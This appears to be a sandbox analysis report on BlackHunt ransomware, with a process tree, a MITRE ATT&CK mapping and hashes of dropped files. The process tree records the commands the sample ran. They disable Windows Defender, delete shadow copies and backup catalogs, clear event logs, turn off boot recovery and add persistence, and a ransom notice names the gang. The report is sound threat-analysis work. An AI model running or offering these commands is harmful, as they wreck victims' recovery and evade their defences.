  2⤵
  PID:2480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:1132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3828
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3264
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:3808
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:3948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3724
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:2624
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:3956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3916
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    - Enumerates connected drives
    PID:2272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:3988
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:2940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:1600
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:2324
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1116
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe"
  2⤵
  - Deletes itself
  PID:3780
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:3996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:4064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:3180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:3640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:1852

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:108

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
1⤵
- Interacts with shadow copies
PID:2900

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:320

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
PID:2908

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1732

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:1560

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:320

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
1⤵
- Interacts with shadow copies
PID:2272

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:1104

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:3208

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:2776

C:\Windows\system32\fsutil.exe
fsutil.exe usn deletejournal /D C:
1⤵
- Deletes NTFS Change Journal
PID:2748

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
1⤵
- Interacts with shadow copies
PID:2604

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
1⤵
PID:2904

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:2460

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\5b6122152c1b8f5fa4660cdb9dc599e8125b0a10cccc22831bd4eaaa3f055435.exe" /F
1⤵
- Creates scheduled task(s)
PID:2856

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
1⤵
PID:2144

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
1⤵
PID:2236

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:2540

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:2928

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
1⤵
PID:1604

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
1⤵
PID:112

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
1⤵
PID:2112

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:2116

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
1⤵
PID:2032

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2908

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
1⤵
PID:1716

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
1⤵
PID:1548

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
1⤵
PID:1176

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
1⤵
PID:2544

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:1072

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1589956061870730403110161716814791649381953999602595762142006176143-886579272"
1⤵
PID:2856

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:2780

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
1⤵
PID:2504

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
1⤵
PID:1208

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
1⤵
- Adds Run key to start application
PID:1396

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "9316479841755530557-109648074916878262221812827967-1661111228-2136152827-1539971809"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:320

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
1⤵
- Modifies registry class
PID:2464

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2952

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
1⤵
- Modifies registry class
PID:2896

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D C:\
1⤵
PID:3788

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1353162119-1194703936-1665851413677515383-616707681-13980366631808328270-689400613"
1⤵
- Enumerates connected drives
PID:2604

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Setup
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4000

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3772

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security /e:false
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4020

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:3372

C:\Windows\system32\notepad.exe
notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
1⤵
PID:2612

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:2824

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
1⤵
PID:3932

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:2900

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Application
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4084

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl System
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3124

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:3184

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D F:\
1⤵
- Enumerates connected drives
PID:3628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
89c8e5bbbf60ed503885d3af384daad4

SHA1
01ab4df02c987485fe6084d3ec483d9272640e54

SHA256
383e31a7a448552619633de3b06a43156e2f86e6b4d952142e2e0c13efae0e7f

SHA512
cf262c4673ee5f013c6021fc0dab2cbd8b20337e639fcc02f5f7fe0925cde5475c8587b02df6e3eb54ea4f285ca8c247cb05eb1ece53c3a396ca7c2809d26567

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
cc36c61a8d4bc6cbe3734d47db279417

SHA1
2e98ac82178dbacf230d4a82f42d16958ec12a4f

SHA256
3e0037df73a89ada7aa5bac5b0148e345209c98fd4c2e83ddcecb28d35b9cf77

SHA512
80b4a5ceb65ca4f950a57daf23a0a6dc4f3136b811e4b49c461e84a9b2a6264db054b667d0b0662e88281d690657a6be1a40ddd8a9211bf9417f04af78566def

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
d9fca4035da9109df143932652593d13

SHA1
7023376ddc0418ed4066c5d607f957f6aacc81c5

SHA256
69673ea8d39a0dba23fb58eae2b17a630646b8a6ca67f101dde609f72f3059e4

SHA512
e6096d79f47d35635d426b56ba02c0e48d3ee73a07207f1636e6baccbaa039084956bd69670ffc8a51773d4168c066041d83b4eed3eef0eea01d691a88c8a86a

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads